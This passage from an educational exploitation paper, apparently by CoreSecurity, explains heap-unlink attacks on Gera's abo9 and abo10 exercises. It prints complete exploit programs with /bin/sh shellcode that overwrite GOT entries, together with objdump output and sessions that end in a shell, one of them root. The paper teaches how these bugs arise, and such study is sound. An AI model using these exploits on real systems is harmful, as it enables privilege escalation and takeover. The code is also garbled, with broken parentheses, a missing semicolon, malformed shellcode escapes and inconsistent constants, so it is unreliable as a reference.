Attacker sets a value of \texttt{0xffffffff (-4)} in size field of second chunk, because least significant bit should be zero (other negative values might work too). Value of prev_size field is set again to \texttt{0xffffffff (-4)}, and now previous chunk pointer is calculated like this: \texttt{0x08049780 - (0xffffffff) = 0x08049784} (not 0x08049678 as it should be). Attacker has to put his fake chunk at 0x08049784. Two fields (prev_size and size) in header of fake chunk do not matter. All that matters are two fields \texttt{fd} and \texttt{bk} since they are swapped and attacker can overwrite any memory. He might choose to put the address of free() function in GOT to \texttt{fd}, and address of shellcode in \texttt{bk}. Now upon unlink(), address of shellcode is placed in address of free() in GOT. When executing second free() in this example, program will look its address in GOT, but it points to shellcode. So instead of free(), a shellcode will be executed.

Shellcode is again places as last environment variable. Address of free() in GOT is obtained this way:

```
user@CoreLabs:~/gera$ objdump -R ./abo9
./abo9: file format elf32-i386
DYNAMIC RELOCATION RECORDS
OFFSET TYPE VALUE
08049658 R_386_GLOB_DAT _gmon_start_
08049640 R_386_JUMP_SLOT _register_frame_info
08049644 R_386_JUMP_SLOT malloc
08049648 R_386_JUMP_SLOT _deregister_frame_info
0804964c R_386_JUMP_SLOT __libc_start_main
08049650 R_386_JUMP_SLOT free
08049654 R_386_JUMP_SLOT strcpy

user@CoreLabs:~/gera$
```

Exploit obtains this value automatically:

```
user@CoreLabs:~/gera$ gcc exp9.c -o exp9
user@CoreLabs:~/gera$ ./exp9
Shellcode address in stack is: 0xbfffffc7
free() address in GOT is: 0x8049650
sh-2.05$
```

/*
** exp9.c
** Coded by CoreSecurity - info@core-sec.com
*/
#include <string.h>
```c
#include <unistd.h>
#include <stdio.h>

#define JUNK               0xcabefabe
#define NEGATIVE_SIZE      0xffffffff
#define OBJDUMP            "/usr/bin/objdump"
#define VICTIM             "/home/user/gera/abo9"
#define GREP               "/bin/grep"

/* 10 bytes jump and 24 bytes shellcode */
char shellcode[] =
  "\xe6\x0a\x00\x00\x00\x00\x31\xc0\x50\x68\x3f\x73\x68\x68\x68\x62\x69"
  "\x6e\x89\xe3\x50\x53\x89\xe1\xb0\x0b\xcd\x80"

int main() {

  char *p;
  char evil_buffer[276 + 1];         /* 256 + 20 = 276 */
  char temp_buffer[64];
  char *env[3] = {shellcode, NULL};
  int shellcode_addr = 0xbffffffa - strlen(shellcode) -
    strlen("/home/user/gera/abo9");
  int free_addr;
  FILE *f;

  printf("Shellcode address in stack is: 0x%\x\n", shellcode_addr);

  sprintf(temp_buffer, "%s -R %s | %s free", OBJDUMP, VICTIM, GREP);
  f = popen(temp_buffer, "r");
  if( fscanf(f, "%x", &free_addr) != 1) {
    pclose(f);
    printf("Error: Cannot find free address in GOT!\n");
    exit(1);
  }

  printf("free() address in GOT is: 0x%\x\n", free_addr);

  p = evil_buffer;

  memset(p, 'A', (256));                          /* padding */
  p += 256;
  *((void **))p = (void *) (NEGATIVE_SIZE);       /* prev_size
  field of second chunk*/
  p += 4;
  *((void **))p = (void *) (NEGATIVE_SIZE);       /* size field of second chunk and prev_size filed of fake chunk */
  p += 4;
  *((void **))p = (void *) (JUNK);                /* size field of fake chunk*/
  p += 4;

  p = evil_buffer;
```
*(void **)p) = (void *) (free_addr - 12);  /* fd field of second chunk */
p += 4;

*(void **)p) = (void *) (shellcode_addr);  /* bk field of second chunk */
p += 4;

*p = '\0';

execle("/home/user/gera/abo9", "abo9", evil_buffer, NULL, env);
}
**Analysis of abo10.c**

The source code of this example is:

```c
/* abo10.c                                                   *
* specially crafted to feed your brain by gera@core-sdi.com */
/* modified by CoreSecurity */
/* Deja-vu                                                   */

char buf[256];

int main(int argv, char **argc) {
    char *pbuf = (char*)malloc(256);
    strcpy(buf, argc[1]);
    free(pbuf);
}
```

The code above is again modified to ease exploitation. Function `gets()` is replaced with `strcpy()`. Exploitation technique is very similar to that used with previous example. Header information of chunk is overwritten, and upon `free()` any address in memory can be overwritten. This is possible because `buf[256]` borders `pbuf`. They are not initiated at startup and both are located in `.bss` section. There are two choices for overwriting – address of `_deregister_frame_info` in GOT and address of `.dtors` section. In our exploit we choose first one.
user@CoreLabs:~/gera$ ltrace ./abo10
__libc_start_main(0x08048454, 1, 0xbfffffa34, 0x080482e0, 0x080484cc
<unfinished ...>
__register_frame_info(0x080494fc, 0x08049600, 0xbffff9d8, 0x4004f138,
0x4012ba58) = 0x4012c740
malloc(256) = 0x08049728
strcpy(0x08049620, NULL <unfinished ...>
--- SIGSEGV (Segmentation fault) ---
+++ killed by SIGSEGV +++
user@CoreLabs:~/gera$ objdump -R ./abo10
./abo10: file format elf32-i386
DYNAMIC RELOCATION RECORDS
OFFSET TYPE VALUE
080495fc R_386_GLOB_DAT __gmon_start__
080495e4 R_386_JUMP_SLOT __register_frame_info
080495e8 R_386_JUMP_SLOT malloc
080495ec R_386_JUMP_SLOT __deregister_frame_info
080495f0 R_386_JUMP_SLOT __libc_start_main
080495f4 R_386_JUMP_SLOT free
080495f8 R_386_JUMP_SLOT strcpy
user@CoreLabs:~/gera$

Exploit obtains this value automatically:

user@CoreLabs:~/gera$ gcc exp10.c -o exp10
user@CoreLabs:~/gera$ ./exp10
Shellcode address in stack is: 0xbfffffc6
__deregister address in GOT is: 0x80495ec
sh-2.05#
/*
** exp10.c
** Coded by CoreSecurity - info@core-sec.com
*/
#include <string.h>
#include <unistd.h>
#include <stdio.h>

#define JUNK               0xcafebabe
#define NEGATIVE_SIZE      0xfffffffc
#define OBJDUMP            "/usr/bin/objdump"
#define VICTIM             "/home/user/gera/abo10"
#define GREP               "/bin/grep"

/* 10 bytes jump and 24 bytes shellcode */
char shellcode[] =
  "/xeb\x0aNNNNNN0000"
  "/x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69"
  "/x6e\x89\xe3\x50\x53\x89\xe1\x99\xb0\x0b\xcd\x80";
int main() {
    char *p;
    char evil_buffer[276 + 1]; /* 256 + 20 = 276 */
    char temp_buffer[64];
    char *env[3] = {shellcode, NULL};
    int shellcode_addr = 0xbffffffa - strlen(shellcode) -
    strlen("/home/user/gera/abo10");
    int dreg_addr;
    FILE *f;

    printf("Shellcode address in stack is: 0x%x\n", shellcode_addr);
    sprintf(temp_buffer, "%s -R %s | %s deregister", OBJDUMP, VICTIM,
    GREP);
    f = popen(temp_buffer, "r");
    if( fscanf(f, "%x", &dreg_addr) != 1) {
        pclose(f);
        printf("Error: Cannot find __deregister address in GOT\n");
        exit(1);
    }

    printf("_deregister address in GOT is: 0x%x\n", dreg_addr);

    p = evil_buffer;

    memset(p, 'A', (256)); /* padding */
    p += 256;

    *((void **)p) = (void *) (NEGATIVE_SIZE); /* prev_size field
    of second chunk*/
    p += 4;

    *((void **)p) = (void *) (NEGATIVE_SIZE); /* size field of
    second chunk and
    prev_size filed
    of fake chunk */
    p += 4;

    *((void **)p) = (void *) (JUNK); /* size field of
    fake chunk*/
    p += 4;

    *((void **)p) = (void *) (dreg_addr - 12); /* fd field of
    second chunk */
    p += 4;

    *((void **)p) = (void *) (shellcode_addr); /* bk field of
    second chunk */
    p += 4;

    *p = '\0';

    execle("/home/user/gera/abo10", "abo10", evil_buffer, NULL, env);
}
Conclusion

Programmers should take an extra caution when writing software. As this paper shows, skillful attacker can use not so obvious mistakes in code to elevate his privileges and/or gain access to computer (if vulnerable service is running). Certain measures of course can be taken – such as kernel patches for non-executable stack, newer versions of compilers etc. But the main action that should take place is educating programmers. Make them think not only how to add new functions to their applications, but take some time and re-check their code for any insecure procedures. Remember to keep your code as small as possible. It is also more beautiful this way.
References

1. Gera, “Insecure Programming by Example”
   http://community.core-sdi.com/~gera/InsecureProgramming/
2. Aleph One, “Smashing The Stack For Fun And Profit”
   http://www.phrack.org/phrack/49/P49-14
3. Murat, “Buffer Overflows Demystified”
   http://www.enderunix.org/docs/eng/bof-eng.txt
4. Juan M. Bello Rivas, “Overwriting the .dtors section”
   http://www.synnergy.net/downloads/papers/dtors.txt
5. anonymous, “Once upon a free()”
   http://www.phrack.org/phrack/57/p57-0x09
6. Michel “MaXX” Kaempf, “Vudo malloc tricks”
   http://www.phrack.org/phrack/57/p57-0x08